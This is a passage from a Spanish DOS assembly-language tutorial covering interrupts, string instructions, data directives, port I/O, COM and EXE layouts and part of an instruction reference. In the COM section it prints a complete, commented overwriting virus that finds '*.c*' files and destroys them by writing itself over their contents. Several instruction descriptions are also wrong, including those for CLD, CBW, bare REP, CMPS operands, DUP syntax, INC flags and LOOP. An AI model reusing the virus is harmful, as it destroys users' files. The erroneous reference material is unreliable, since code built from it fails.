  1404.  y nombre del fichero, tal y como sucedía en el anterior ejemplo, y ES:DI
  1405.  la dirección de la cadena que contiene la nueva unidad, camino y nombre.
  1406.  
  1407.     Vamos con el programa:
  1408.  
  1409.     Mov     ah,56h                  ; No hace falta inicializar al, como
  1410.                                     ;hicimos antes, no tiene ninguna
  1411.                                     ;importancia su contenido.
  1412.     Mov     dx,OFFSET anterior      ; Ds ya está apuntando a éste segmento,
  1413.                                     ;sólo tendremos que asignar Dx
  1414.     Mov     di,OFFSET posterior     ; Di apunta al nuevo nombre, Es no ha
  1415.                                     ;sido variado de ninguna manera.
  1416.     Int     21h                     ; Si en éste directorio de halla el
  1417.                                     ;archivo de DS:DX, cambia su nombre al
  1418.                                     ;de ES:DI
  1419.     Int     20h                     ; Devuelve el control al Ms-dos.
  1420.  
  1421. anterior:       db  'berilio.com',0
  1422. posterior:      db  'magnesio.com',0
  1423.  
  1424.  
  1425.     En resumen, cambiará el nombre del archivo berilio.com a magnesio.com
  1426.  si éste se encuentra en el directorio.
  1427.  
  1428.     Hay innumerables cosas que se pueden hacer con las interrupciones:
  1429.  escribir textos, leer del teclado, cambiar modos de pantalla, escribir
  1430.  en archivos, leerlos, ejecutarlos,... demasiado para ponerlo aquí, aunque
  1431.  al final del curso os podréis encontrar más ejemplos.
  1432.  
  1433.     Recomiendo tener a mano la lista de interrupciones de Ralf Brown, que
  1434.  es una auténtica biblia de las interrupciones, o las guías Norton. El caso
  1435.  es que es imposible sabérselas de memoria, y es mejor tener una buena
  1436.  obra de consulta al lado. La lista de interrupciones de Ralf Brown es
  1437.  fácil de encontrar, y ocupa cerca de un disco completo, con largos archivos
  1438.  de texto, y se actualiza de vez en cuando.
  1439.  
  1440.     Para dar una idea en general y que sepáis cómo buscar lo que necesitáis,
  1441.  aquí están las interrupciones que más se usan y sus funciones en general,
  1442.  símplemente para orientaros al buscar.
  1443.  
  1444.  
  1445.     Interrupción 21h: Apuesto a que es la que más utilizaréis, con ella se
  1446.  consigue el acceso a la fecha y hora del sistema, gestión de ficheros,
  1447.  funciones de dos referidas al disco, para la gestión de directorios, y
  1448.  algunas de lectura/escritura en el teclado y pantalla, además de la gestión
  1449.  de la memoria.
  1450.  
  1451.     Interrupción 13h: Funciones de BIOS que se refieren al disco.
  1452.  
  1453.     Interrupción 10h: Gestión de la pantalla en modo alfanumérico, gestión
  1454.  de la pantalla en modo gráfico.
  1455.  
  1456.     Interrupciones 25h y 26h: Funciones de dos de acceso directo al disco,
  1457.  escribir y leer sectores...
  1458.  
  1459.     Interrupción 17h: Impresora.
  1460.  
  1461.  
  1462.  
  1463.                             ┌──────────────────┐
  1464.                             │ Resto de órdenes │
  1465.                             └──────────────────┘
  1466.  
  1467.     Bueno, pues parece que nos vamos acercando al final,... ahora voy a
  1468.  contar con algo de detalle del resto de las órdenes en lenguaje ensamblador
  1469.  las más importantes y que más merezcan conocerse:
  1470.  
  1471.  
  1472.     XCHG
  1473.     ────
  1474.  
  1475.     La función de xchg es la de intercambiar valores entre registros y
  1476.  memoria, de tal manera que puede funcionar así:
  1477.  
  1478.     XCHG reg,reg ( XCHG AX,BX )
  1479.     XCHG mem,reg o reg,mem ( XCHG AX,Word ptr 0000:0084h )
  1480.  
  1481.  
  1482.     LEA
  1483.     ───
  1484.  
  1485.     "Load Effective Adress", sirve al usar como puntero a DX ( recordemos,
  1486.  al hacer que apuntase hacia un offset que nos interesaba ), y como
  1487.  sustituyente al MOV en éstos casos especialmente.
  1488.  
  1489.     Imaginemos que el offset al que queremos apuntar es Sunset+bp-si, o sea,
  1490.  el lugar donde está la etiqueta "Sunset" más el valor de bp menos el de si.
  1491.  
  1492.     Si lo hiciesemos con movs quedaría tal que así:
  1493.  
  1494.     MOV dx,Offset sunset
  1495.     ADD dx,bp
  1496.     SUB dx,si
  1497.  
  1498.     La órden LEA integra éstas operaciones:
  1499.  
  1500.     LEA dx,[Sunset+Bp-Si]
  1501.  
  1502.     Pudiendo usar en el operando cualquier dirección de memoria y pudiendo
  1503.  sumársele registros.
  1504.  
  1505.  
  1506.     LDS y LES
  1507.     ─────────
  1508.  
  1509.     El puntero anteriormente utilizado nos puede servir mucho si lo que
  1510.  pretendemos localizar se halla en el mismo segmento que el programa,... pero
  1511.  si está en otro lugar, tendremos también que averiguar de alguna manera su
  1512.  segmento. Para ésto se usan LDS y LES.
  1513.  
  1514.     Teniendo la misma sintaxis que LEA, aunque pudiendo poner un registro
  1515.  de segmento ( pej, Lea SI,CS:[DI+3] ), sus resultados los ligeramente diferentes.
  1516.  Además de ponerse en el operando destino ( SI en el ejemplo anterior ) el
  1517.  Desplazamiento u Offset, el Segmento indicado en el operando origen quedará
  1518.  en DS o ES según la órden sea LDS o LES.
  1519.  
  1520.     Por ejemplo, si hacemos:
  1521.  
  1522.     LDS     DX,0000:[DI-23]
  1523.  
  1524.     En DX quedará la dirección a la que apunta DI-23, y en DS quedará 0000,
  1525.  el segmento en que se encuentra.
  1526.  
  1527.     Igualente sucederá en ES:
  1528.  
  1529.     LES     SI,3342h:[Bp]
  1530.  
  1531.     SI valdrá BP, y ES tomará el valor de 3342h.
  1532.  
  1533.  
  1534.     DELAYs
  1535.     ──────
  1536.  
  1537.     A veces nos puede interesar perder algo de tiempo, y ésta órden tiene
  1538.  además luego más utilidades,... es la órden REP ( repeat ). Se repite, y
  1539.  cada vez que lo hace disminuye CX en una unidad. Se usa especialmente para
  1540.  órdenes como Movsb, etc, que vienen ahora. Pero símplemente que entendáis
  1541.  que si hago:
  1542.  
  1543.     Mov     CX,300h
  1544.     Rep
  1545.  
  1546.     La órden rep se repite 300h veces, y cuando la supera CX vale 0.
  1547.  
  1548.  
  1549.     INSTRUCCIONES DE CADENA
  1550.     ───────────────────────
  1551.  
  1552.     Son un subconjunto de instrucciones muy útiles para diversas funciones:
  1553.  inicializar zonas de memoria, copiar datos de una zona a otra, encontrar
  1554.  valores determinados o comparar cadenas, etc etc.
  1555.  
  1556.     Su comportamiento depende del flag de dirección del que hablábamos unas
  1557.  lecciones más atrás, y que se puede cambiar diréctamente con éstas dos
  1558.  instrucciones:
  1559.  
  1560.     STD: SeT Direction flag, lo pone a uno.
  1561.     CLD: CLear Direction flag, lo pone a cero.
  1562.  
  1563.     Las instrucciones que vamos a usar como de cadena siempre tienen una S
  1564.  de String al final, y casi siempre además una B o una W indicando Byte o
  1565.  Word ( el tamaño ). Es tan común el uso de la B o la W que siempre lo
  1566.  pondré así ( es mejor especificar para prevenir posibles fallos )
  1567.  
  1568.     Y éstas son:
  1569.  
  1570.     LODSB/LODSW
  1571.  
  1572.     Lee un byte/palabra en la dirección de memoria dada por DS:SI y la
  1573.  almacena dependiendo de su tamaño en AL o AX. Si el flag de dirección está
  1574.  a cero, según sea byte o palabra, SI aumentará en 1 o 2 unidades ( para
  1575.  poder continuar la operación de lectura ). Si está a uno el flag, se
  1576.  decrementará en 1 o 2 unidades dependiendo del tamaño ( byte/palabra )
  1577.  
  1578.     STOSB/STOSW
  1579.  
  1580.     Es el equivalente a "grabar" si lo anterior era "cargar". Almacenará el
  1581.  contenido de AL o AX ( como siempre, dependiendo del tamaño ) en ES:DI,
  1582.  copiando según si es B o W uno o dos bytes cada vez que se ejecute.
  1583.  
  1584.     Si el flag de dirección está a cero, DI aumentará cada vez que se
  1585.  realice la órden en una o dos unidades ( dependiendo tel tamaño, B o W ).
  1586.  Si está a uno, decrecerá.
  1587.  
  1588.     MOVSB/MOVSW
  1589.  
  1590.     Mueve el byte o palabra contenido en la dirección de memoria a la que
  1591.  apunta DS:SI a la dirección de memoria de ES:DI.
  1592.  
  1593.     Si el flag de dirección está a 0, con cada MOVS que realicemos SI y DI
  1594.  aumentarán en una unidad ( MOVSB ) o dos ( MOVSW ). Si está a uno, se
  1595.  decrementarán de igual manera.
  1596.  
  1597.     REP
  1598.  
  1599.     Acabo de hablar sobre él,... pues bien, si se utiliza como operando suyo
  1600.  una de éstas órdenes, la repetirá CX veces. Por ejemplo, si queremos
  1601.  copiar digamos la tabla de vectores de interrupción a un lugar que hemos
  1602.  reservado:
  1603.  
  1604.  
  1605.     cld                     ; A asegurarnos de que el flag de dirección esté
  1606.                             ;a cero.
  1607.     mov     cx,400h
  1608.     xor     dx,dx           ; pone dx a 0
  1609.     push    dx
  1610.     pop     ds              ; No está permitido hacer xor ds,ds, por lo que
  1611.                             ;metemos dx, que vale 0, en la pila, y sacamos
  1612.                             ;DS valiendo 0.
  1613.     xor     si,si           ; SI que valga 0.
  1614.     push    cs
  1615.     pop     es              ; Vamos a asegurarnos de que ES valga CS, o sea,
  1616.                             ;el segmento en el que está el programa ahora.
  1617.     mov     di,buffer       ; DI apunta al lugar donde vamos a guardar la
  1618.                             ;tabla.
  1619.     rep     movsb           ; Repite ésto 400h veces, y cada vez que lo hace
  1620.                             ;incrementa DI y SI.
  1621.     int     20h             ; Acaba la ejecución
  1622.  
  1623. buffer:     db 400h dup (?)     ; Esto deja un espacio de 400h bytes que nos
  1624.                                 ;va a servir para almacenar la tabla de
  1625.                                 ;vectores de interrupción.
  1626.  
  1627.     Bueno, pues espero que con éste programa ejemplo quede todo clarito :))
  1628.  Por supuesto, es muy mejorable. Podemos para empezar reducir el 400h a 200h
  1629.  en CX, y hacer un rep movsw, con lo que trasladarémos de palabra en palabra
  1630.  las instrucciones.
  1631.  
  1632.     DATOS
  1633.     ─────
  1634.  
  1635.     Acabamos de ver algo nuevo, ¿ qué significa eso de 'db' que aparece en
  1636.  el anterior problema ?
  1637.  
  1638.     El objetivo de ésta orden, al igual que DW o DD es dejar espacio para
  1639.  datos en una determinada zona del programa, o introducirlos ahí. Voy a
  1640.  mostrar algunos ejemplos:
  1641.  
  1642.     db      'A saco con todos$'
  1643.  
  1644.     DB se refiere a un byte de longitud, y se usa por ejemplo para guardar
  1645.  una cadena. Veréis que pongo un $ al final de la cadena, bien, ésto ha
  1646.  de hacerse siempre, ya que al utilizar interrupciones para mostrar una
  1647.  cadena de caracteres por pantalla, el ordenador lee desde el punto
  1648.  indicado hasta el $, que es cuando se para.
  1649.  
  1650.     dw      0ffffh          ; W de word, palabro... almacena un número en
  1651.                             ;esa posición
  1652.  
  1653.     db      'A',' ','s','a','c','o'     ; Variaciones sobre el tema, va
  1654.                                     ;presentandolo carácter a carácter.
  1655.  
  1656.     db      dup 5 (90h)
  1657.  
  1658.     A ver, que ésto ha sido más raro, ¿ verdad ?. Significa que repite 5
  1659.  veces el carácter o número que hay entre paréntesis, o sea, que ésto
  1660.  colocaría cinco '90h' en ese sitio.
  1661.  
  1662.     dw      dup 300h (?)
  1663.  
  1664.     Deja un espacio de trescientas palabras ( seiscientos bytes ) para
  1665.  poder almacenar cosas. Su contenido no tiene importancia, se trata de
  1666.  lugar de almacenamiento ( como el lugar en el que copiabamos la tabla de
  1667.  vectores en el ejercicio anterior )
  1668.  
  1669.     También existe DQ, Define Quadword. Os dejo que imaginéis ;)
  1670.  
  1671.     ACCESO A PUERTOS I/O
  1672.     ────────────────────
  1673.  
  1674.     Símplemente describiré las instrucciones que permiten mandar y recibir
  1675.  datos de ellos; IN y OUT.
  1676.  
  1677.     Los puertos son todos de ocho bits, aunque se pueden usar palabras para
  1678.  su lectura. Existen 64K puertos, o sea, el valor máximo de cualquier registro de
  1679.  Offset.
  1680.  
  1681.     IN lee un byte o una palabra del puerto y lo almacena en AX/AL, tal que
  1682.  así:
  1683.  
  1684.     IN AL,DX                ; Lee del puerto DX y almacena en AL
  1685.     IN AX,DX                ; Lee de DX y almacena en AL el valor, leyendo
  1686.                             ;AH desde el puerto DX+1
  1687.  
  1688.     DX es lo único que puede variar siendo otro registro, no se permite en
  1689.  AX/AL
  1690.  
  1691.     OUT manda un byte al puerto, pudiéndose hacer así ( mediante el registro
  1692.  AX o AL ):
  1693.  
  1694.     OUT DX,AL               ; Al puerto DX, manda el valor contenido en AL
  1695.     OUT DX,AX               ; A DX manda el contenido de AL, y después en
  1696.                             ;el puerto DX+1 envía AH. Observese ésta
  1697.                             ;peculiaridad tanto aquí como en el anterior.
  1698.  
  1699.     Como antes, AL o AX no pueden ser otra cosa, DX podría si ser otro
  1700.  registro ( o diréctamente un número )
  1701.  
  1702.  
  1703.     ANULACION DE INTERRUPCIONES
  1704.     ───────────────────────────
  1705.  
  1706.     Hay veces que necesitamos que mientras se está ejecutando nuestro
  1707.  código no se puedan ejecutar interrupciones, debido a que estamos haciendo
  1708.  algo delicado, como por ejemplo tocando la tabla de vectores de
  1709.  interrupción, y no queremos que se ejecute una interrupción que tenemos
  1710.  a medio cambiar.
  1711.  
  1712.     No tendremos más que poner la órden
  1713.  
  1714.     CLI
  1715.  
  1716.     O CLear Interrupts, que lo que hace es que hasta que encuentre una órden
  1717.  STI ( SeT Interrupts ), no se puedan ejecutar interrupciones.
  1718.  
  1719.  
  1720.     ¡ Y bueno, ésto casi se ha acabado !. Sólo faltan las estructuras de
  1721.  COM y EXE para que podáis empezar a programar, que consigáis un programa
  1722.  ensamblador ( Tasm, A86, Masm,... recomiendo el primero ), y que pilléis
  1723.  las Interrupciones de Ralph Brown ( ¿ que no las encuentras, si están en
  1724.  todos lados ! ? ), y ale, a hacer cosas ;D
  1725.  
  1726.  
  1727.                             ╒════════════════╕
  1728.                            ╒╛ ESTRUCTURA COM ╘╕
  1729.                            ╘══════════════════╛
  1730.  
  1731.     Los archivos COM tienen como máximo 65536 bytes de extensión, que
  1732.  "curiosamente" coinciden con 0FFFFh, que es el máximo valor que puede tener
  1733.  un registro de 16 bits.
  1734.  
  1735.     Por lo tanto, cualquier dirección dentro del COM tendrá en común el
  1736.  registro de segmento, y con el de desplazamiento se podrá averiguar el
  1737.  lugar donde se encuentra cualquier cosa en el archivo.
  1738.  
  1739.     El .COM tiene también una zona normalmente que va de 0 a 100h en la
  1740.  que tiene el PSP, zona de datos en la que entre otras cosas está la Dta
  1741.  ( para trabajar con ficheros, a partir del Offset 80h )
  1742.  
  1743.     Pongo un ejemplo ahora de cabecera, y después un programa COM completo
  1744.  pero sencillito, aunque con cosas que se puedan comentar ( para que no se
  1745.  os olviden cosillas mientras )
  1746.  
  1747.  -----------------
  1748.  
  1749.     .MODEL  TINY                    ; Indica que es pequeñito ;)
  1750.     .CODE                           ; Código
  1751.  
  1752.         ORG 100h                    ; Ésta es la dirección a partir de la
  1753.                                     ;cual empieza el código, normalmente es
  1754.                                     ;100h para dejar espacio al PSP
  1755.  
  1756.     Start: jmp     Entrada
  1757.  
  1758.             [Datos]
  1759.  
  1760.       Entrada   PROC
  1761.  
  1762.             [Codigo]
  1763.  
  1764.       Entrada   ENDP
  1765.  
  1766.    END Start
  1767.  
  1768. -------------------
  1769.     Entrada es un procedimiento al que se puede llamar con por ejemplo el
  1770.  salto del principio. No son necesarios, y quizá a más de uno le ayude
  1771.  quitárselos de enmedio. Si hay que cerrar el Start, que abre el programa.
  1772.  
  1773.     Hay más líneas que se pueden poner en la cabecera, como MODEL en vez de
  1774.  ser TINY que sea SMALL por ejemplo, o:
  1775.  
  1776.     CODIGO SEGMENT CODE
  1777.     ASSUME DS:CODIGO    ES:CODIGO
  1778.  
  1779.     Lo que abre un segmento de código ( o sea, el Com ), y hace que los
  1780.  registros de segmento apunten a él. Al final habría que poner un:
  1781.  
  1782.     CODIGO ENDS
  1783.  
  1784.     Justo antes del "END Start" pero después de un posible "Entrada ENDP"
  1785.  
  1786.  
  1787.     Aquí va un ejemplo de programa .COM en lenguaje ensamblador. Se trata
  1788.  de un virus, o más bien, algo que podría ser un virus, ya que es de tipo
  1789.  sobreescritura. El caso es que al utilizar interrupciones, ser pequeñito
  1790.  y tal, es lo ideal para comentar en éste archivo.
  1791.  
  1792.     Aclaro ahora que mis intenciones no son las de distribuir éstas cosas
  1793.  para que la gente suelte virus por ahí, es más, lo que ahora presento no
  1794.  llegaría precisamente muy lejos.
  1795.  
  1796.  
  1797.  
  1798. virus      segment
  1799.            org  100h
  1800.            assume cs:virus          ; No es muy necesario: CS va a ser el
  1801.                                     ; virus
  1802.  
  1803. len        equ offset last-100h     ; Nueva orden que no comenté !. Len
  1804.                                     ;es una variable que se va a utilizar
  1805.                                     ;en el programa, y equ se encarga de
  1806.                                     ;asignarla. Hace que len valga la
  1807.                                     ;dirección del offset de "last"
  1808.                                     ;restándole 100h ( el PSP ). Se trata
  1809.                                     ;del tamaño del programa
  1810.  
  1811. start:     mov ah,04eh          ; En dx está la com_mask, y se va a usar la
  1812.            xor cx,cx            ;función 4eh de la interrupción 21h, que
  1813.            lea dx,com_mask      ;es encontrar el primer archivo del
  1814.            int 21h              ;directorio de la forma que hay en la
  1815.                                 ;dirección a la que apunta dx, o sea, que
  1816.                                 ;buscará el primer archivo .c* ( pretende
  1817.                                 ;encontrar un com )
  1818.  
  1819. open_file: mov ax,3d02h         ; La función 3d abre el archivo, y AL puesto
  1820.            mov dx,9eh           ;a 2 indica que se abrirá para lectura y
  1821.            int 21h              ;escritura; a uno indicaría sólo lectura por
  1822.                                 ;ejemplo. Dx vale 9eh porque es el valor
  1823.                                 ;de la DTA, donde se contienen los datos
  1824.                                 ;del archivo encontrado.
  1825.  
  1826. Infect:    mov cx,len           ; En cx queda la longitud del virus
  1827.            lea dx,start         ; Y dx apunta al principio del virus
  1828.            mov ah,40h           ; La función 40h de la Int21h consiste en la
  1829.            int 21h              ;escritura en el archivo; cx indica la
  1830.                                 ;cantidad de bytes a escribir, y dx la
  1831.                                 ;dirección a partir de la cual se copian. Por
  1832.                                 ;lo tanto, se copiará todo éste código al
  1833.                                 ;principio del programa abierto,
  1834.                                 ;sobreescribiendo lo que hubiese
  1835.                                 ;anteriormente
  1836.  
  1837. Next:      mov ah,3eh           ; Cierra el archivo, función 3eh de la Int21h
  1838.            int 21h
  1839.            mov ah,4fh           ; Busca el siguiente archivo
  1840.            int 21h
  1841.            jnb open_file        ; Si lo encuentra, salta a open_file, para
  1842.                                 ;abrir e infectar.
  1843.  
  1844. com_mask:  db "*.c*",0          ; El 0 del final es necesario siempre que se
  1845.                                 ;opera con archivos.
  1846. last:      db 090h              ; Se trata de un byte para marcar el final
  1847.                                 ;del virus ( para el equ del principio )
  1848.  
  1849. virus ends
  1850.       end start
  1851.  
  1852.  
  1853.     En resumen, lo que hace es buscar el primer archivo que cumpla ser
  1854.  *.c* del directorio, lo infecta y busca otro. Si lo encuentra, también
  1855.  lo infectará, así hasta que no quede ninguno.
  1856.     Una cosa que os puede parecer curiosa es que use jnb para saber si hay
  1857.  algún archivo más en el directorio. Bien, ésto lo hace porque cuando el
  1858.  resultado de la interrupción es un error ( como por ejemplo que no haya
  1859.  ningún archivo ), el flag de acarreo se pone a uno. Por tanto, salta con
  1860.  jnb si no ha habido ningún fallo.
  1861.  
  1862.  
  1863.                              ╒════════════════╕
  1864.                             ╒╛ Estructura EXE ╘╕
  1865.                             ╘══════════════════╛
  1866.  
  1867.     Los ficheros EXE tienen una estructura diferente a los Com. Aparte de
  1868.  tener una cabecera especial, pueden ocupar más de un segmento, diferencián-
  1869.  dose segmentos de datos, código y pila.
  1870.  
  1871.     La cabecera EXE va como sigue ( no es necesario para hacer uno, pero
  1872.  tampoco se le tienen que hacer ascos a la información ;D )
  1873.  
  1874.    Offset  Descripción
  1875.  
  1876.      00    Marca de EXE (MZ = 4D5A). Es obligatorio que éstos dos bytes sean
  1877.           MZ o ZM, sino no funcionará
  1878.  
  1879.      02   Número de bytes en la últ¡ma pág¡na del programa
  1880.           Todas las páginas son de 512 bytes, menos la última que será menos.
  1881.  
  1882.      04   Número total de paginas de 512 bytes
  1883.  
  1884.      06   Número de elementos de la tabla de elementos reubicables.
  1885.  
  1886.      08   Tamaño de la cabecera en párrafos de 16 bytes.
  1887.  
  1888.      0A   Mínimo de memoria requerido además de la necesaria para cargar
  1889.           el programa.
  1890.  
  1891.      0C   Máximo de memoria requerido. Normalmente los linkadores ponen
  1892.           FFFFh aquí para que el DOS de toda la memoria disponible al
  1893.           programa.
  1894.  
  1895.      0E   SS inicial
  1896.  
  1897.      10   SP inicial
  1898.  
  1899.      12   Checksum: complemento a 1 de la suma de los valores de 16 bits del
  1900.           programa, excluido este campo.
  1901.  
  1902.      14   IP inicial
  1903.  
  1904.      16   CS inicial
  1905.  
  1906.      18   Offset de la Tabla de Reubicación
  1907.  
  1908.      1A   Número de Overlays generados. S¡ es 0 es un único EXE.
  1909.  
  1910.  
  1911.     Visto ésto, símplemente que os quedéis con los offset 14 y 16, que son
  1912.  CS:IP del EXE donde empieza la ejecución. Ahora pongo un listado de
  1913.  típico EXE:
  1914.  
  1915.     ; LISTADO DE EJEMPLO DE EXE
  1916.  
  1917.     PILA    SEGMENT STACK 'STACK'
  1918.             DW 150 DUP (?)          ; Ponemos 150 palabras ( 300 bytes ) de
  1919.                                     ;pila
  1920.     PILA    ENDS                    ; Esto ha sido el segmento dedicado a
  1921.                                     ;la pila
  1922.  
  1923.     DATOS   SEGMENT 'DATA'          ; Abre ahora el segmento de datos
  1924.     Mensa   DB 'Esto es un ejemplo EXE$'      ; ¡ El $ al final, recordad !
  1925.     DATOS   ENDS
  1926.  
  1927.     CODIGO  SEGMENT 'CODE'          ; Vamos con el de código
  1928.     ASSUME  CS:CODIGO,DS:DATOS,SS:PILA
  1929.  
  1930.     Entrada PROC
  1931.  
  1932.             mov     ax,DATOS                ; Valor del segmento DATOS
  1933.             mov     ds,ax                   ; Ahora queda en DS
  1934.             lea     dx,mensa                ; Desplazamiento del mensaje
  1935.             mov     ah,9                    ; Servicio 9 de la int 21h
  1936.             int     21h                     ; Imprime el mensaje
  1937.  
  1938.             mov     ax,4C00h                ; Servicio 4Ch, retorna al DOS
  1939.             int     21h
  1940.  
  1941.     Entrada ENDP                            ; Cierra el procedimiento Entrada
  1942.  
  1943.     CODIGO  ENDS
  1944.  
  1945.             END Entrada                     ; Fin del programa
  1946.  
  1947.  
  1948.                              ╒════════════╕
  1949.                             ╒╛ Apéndice A ╘╕
  1950.                             ╘══════════════╛
  1951.  
  1952.                          Juego de instrucciones
  1953.                          ──────────────────────
  1954.  
  1955.  
  1956.  
  1957.     Instrucciones:
  1958.  
  1959.     Mnemónico    Explicación
  1960.  
  1961.     AAA
  1962.                  Adjust ASCII after Addition, ajuste ASCII después de sumar.
  1963.                  Esta instrucción se emplea tras sumar dos números BCD no
  1964.                 empaquetados de dos dígitos con ADD AX,reg/mem. Comprueba si
  1965.                 el contenido de AL supera a nueve, y realiza si es cierto una
  1966.                 operación que consiste en restar 10 de AL. AH se incrementa
  1967.                 si AL fue superior a 9.
  1968.  
  1969.     ADD
  1970.                  Suma al operando destino el operando origen, almacenando
  1971.                 en el operando destino el resultado.
  1972.  
  1973.     AAM
  1974.                  Ajusta ASCII después de multiplicar
  1975.  
  1976.                  Convierte el número binario de 8 bits en AL en un número
  1977.                 BCD no empaquetado de dos dígitos en AX. AL debe ser menor
  1978.                 que 100 para que el ajuste proporcione un número válido.
  1979.  
  1980.      AAS
  1981.                  Ajusta ASCII después de restar
  1982.  
  1983.                  Se emplea después de restar dos números BCD no empaquetados
  1984.                 con SUB AX,reg/mem. Comrpueba si AL es mayor a 9, y si lo
  1985.                 es, suma 10 a AL. Si se realiza ajuste, el flag de acarreo
  1986.                 se activa.
  1987.  
  1988.  
  1989.      ADC
  1990.                  Add With Carry, suma los dos operandos y el flag de
  1991.                 acarreo, almacenando en el operando destino el resultado
  1992.                 de la suma
  1993.  
  1994.      ADD
  1995.                   ADDition, ésta instrucción suma los dos operandos y
  1996.                  almacena el resultado en el de destino.
  1997.  
  1998.      AND
  1999.                   Realiza un AND lógico entre los dos operandos de la
  2000.                  instrucción, almacenando el resultado en el de destino.
  2001.  
  2002.      CALL
  2003.                   Empuja IP y CS a la pila, y salta a la dirección que
  2004.                  indica su operando.
  2005.  
  2006.      CBW
  2007.                   Convert Byte to Word, copia el bit de mayor peso de AH en
  2008.                  cada uno de los de AL
  2009.  
  2010.      CLC
  2011.                   Clear Carry Flag, pone el flag de acarreo a cero.
  2012.  
  2013.      CLD
  2014.                   Clear Direction Flag, pone a cero el flag de acarreo.
  2015.  
  2016.      CLI
  2017.                   Clear Interrupts, pone e flag de interrupción a cero, con
  2018.                  lo que no se podrán hacer llamadas a éstas hasta llegar a
  2019.                  un STI ( Set Interrupts )
  2020.  
  2021.      CMC
  2022.                   CoMplement Carry flag, invierte el contenido del flag de
  2023.                  acarreo.
  2024.  
  2025.      CMP
  2026.                   Resta el operando origen del destino, tan sólo que no
  2027.                  almacena el resultado, si actualizándose sin embargo los
  2028.                  flags.
  2029.  
  2030.      CMPS
  2031.                   Comparar cadena, puede usarse sin operandos, en cuyo caso
  2032.                  tendrá que ser CMPSB o CMPSW ( Byte o Word ), o con ellos.
  2033.                   Los elementos a comparar están apuntados por ES:DI y DS:DI
  2034.  
  2035.      CWD
  2036.  
  2037.                   Convert Word to Double Word, lo que hará será copiar el
  2038.                  signo de AX, o sea, su byte más significativo, en DX.
  2039.  
  2040.      DAA
  2041.                   Decimal Adjust AL after Adittion, se emplea tras sumar dos
  2042.                  números BCD empaquetados de dos dígitos con ADD AL,reg/mem.
  2043.                  Verifica si el flag de acarreo auxiliar está a 1 o el
  2044.                  contenido de los cuatro bits menos significativos de AL
  2045.                  es mayor que 9, en cuyo caso se suma 6 a AL. Tras ésto,
  2046.                  comprueba si el flag de acarreo está activado o el contenido
  2047.                  de los 4 bits más significativos es mayor que 9, en cuyo
  2048.                  caso se suma 60h a AL. El flag de acarreo se activa si se
  2049.                  ha realizado la segunda operación, y el de acarreo auxiliar
  2050.                  si se realizó la primera.
  2051.  
  2052.      DEC
  2053.                   Utiliza un operando, al que decrementa en una unidad.
  2054.  
  2055.      DIV
  2056.                   Divide el acumulador entre el operando, dejando cociente
  2057.                  y resto. El acumulador será AX en caso de división de 16
  2058.                  bits y DX-AX en caso de 32 bits, quedando cociente y resto
  2059.                  en AL-AH y AX-DX respectivamente.
  2060.  
  2061.      ESC
  2062.                   ESCape
  2063.                   Sirve para pasar el control del procesador al copro
  2064.  
  2065.      HLT
  2066.                   Bloquea el ordenador.
  2067.  
  2068.      IDIV
  2069.                   División para números con signo
  2070.  
  2071.      IMUL
  2072.                   Multiplicación para números con signo.
  2073.  
  2074.      IN
  2075.                   INput from port, lee un byte del puerto que especifica el
  2076.                  operando origen y lo almacena en AL. Si el operando destino
  2077.                  es AX, almacena un segundo byte en AH ( el operando destino
  2078.                  sólo puede ser AX o AL, y el origen DX o un número )
  2079.  
  2080.      INC
  2081.                   Incrementa el operando en un byte, sin modificar el estado
  2082.                  de los flags.
  2083.  
  2084.      INT
  2085.                   Llama a la interrupción del operando ( p.ej, INT 21h )
  2086.  
  2087.      INTO
  2088.                   INTerruption on Overflow, llama a la interrupción 4 si el
  2089.                  flag de desbordamiento ( overflow ) está activado. En caso
  2090.                  de que sepamos con seguridad que no es así, es un NOP en
  2091.                  realidad.
  2092.  
  2093.     IRET
  2094.                   Interruption Return, saca de la pila IP y CS y vuelve al
  2095.                  sitio donde se llamó a la interrupción ( cada vez que
  2096.                  ejecutamos una interrupción, el ordenador efectua una serie
  2097.                  de pasos que acaban con éste IRET )
  2098.  
  2099.     JMP
  2100.                   Puede ser corto, cercano o largo, cambiando IP y a veces
  2101.                  CS con nuevos valores, o sea, transfiriendo el control a
  2102.                  otra parte del programa.
  2103.  
  2104.     LAHF
  2105.                   Copia en AH el contenido del byte menos significativo del
  2106.                  registro de flags
  2107.  
  2108.     LDS
  2109.                   Load Far Pointer with DS, Cargar puntero lejano con DS. Con
  2110.                  ésta instrucción, se lee una palabra en la dirección indicada
  2111.                  por el origen, copiándose en el registro destino, y de nuevo
  2112.                  se lee otra, que se almacena en DS
  2113.  
  2114.     LEA
  2115.                   Load Effective Adress, Cargar dirección efectiva; calcula
  2116.                  el offset del operando origen, y lo almacena en el destino
  2117.                  ( bastante útil con etiquetas, por ejemplo )
  2118.  
  2119.     LES
  2120.                   Load Far Pointer with ES; Igual que LDS, tan sólo que
  2121.                  la segunda palabra la almacena en ES.
  2122.  
  2123.     LOCK
  2124.                   Lock the Bus.
  2125.                   Se trata de una instrucción que se usa precediendo a
  2126.                  MOV, MOVS o XCHG, y previene del uso del Bus mientras se
  2127.                  ejecuta la instrucción para evitar que éste sea usado por
  2128.                  algún evento externo, interrupciones, etc
  2129.  
  2130.     LODS
  2131.                   LOaD String, cargar cadena
  2132.                   Si no hay operandos, debe de indicarse con B o W, para
  2133.                  saber si se opera con bytes o palabras. Carga en el
  2134.                  acumulador el elemento apuntado por DS:SI, sea byte o
  2135.                  palabra.
  2136.  
  2137.  
  2138.     LOOP
  2139.                   Bucle, saltará a la dirección indicada en su operando
  2140.                  ( por ejemplo, LOOP etiqueta ) mientras CX valga más de
  2141.                  1, cuando su valor llegue a cero el bucle dejará de
  2142.                  ejecutarse.
  2143.  
  2144.     MOV
  2145.                   Copia el operando origen en el destino, pudiéndose
  2146.                  realizar éstas combinaciones:
  2147.                   reg,reg
  2148.                   reg,mem
  2149.                   mem,reg
  2150.                   reg,inmed
  2151.                   mem,inmed
  2152.                   reg16,segrer
  2153.                   regseg,reg16
  2154.                   regseg,mem
  2155.  
  2156.     MOVS
  2157.                   MOVe String, mover cadena
  2158.                   Normalmente con el operando B ( byte ) o W ( Word ) de
  2159.                  manera que se transfiera un byte o una palabra, MOVSB o
  2160.                  MOVSW transfieren lo contenido en DS:SI a ES:DI
  2161.  
  2162.     MUL
  2163.                   MULtiply, multiplicar.
  2164.                   Multiplica el acumulador por el operando , si el operando
  2165.                  puesto en Mul es de 16 bits, el acumulador es AX, si el
  2166.                  operando en Mul es de 8 bits, será AL.
  2167.  
  2168.     NEG
  2169.                   Averigua el número negativo del operando, o sea, invierte
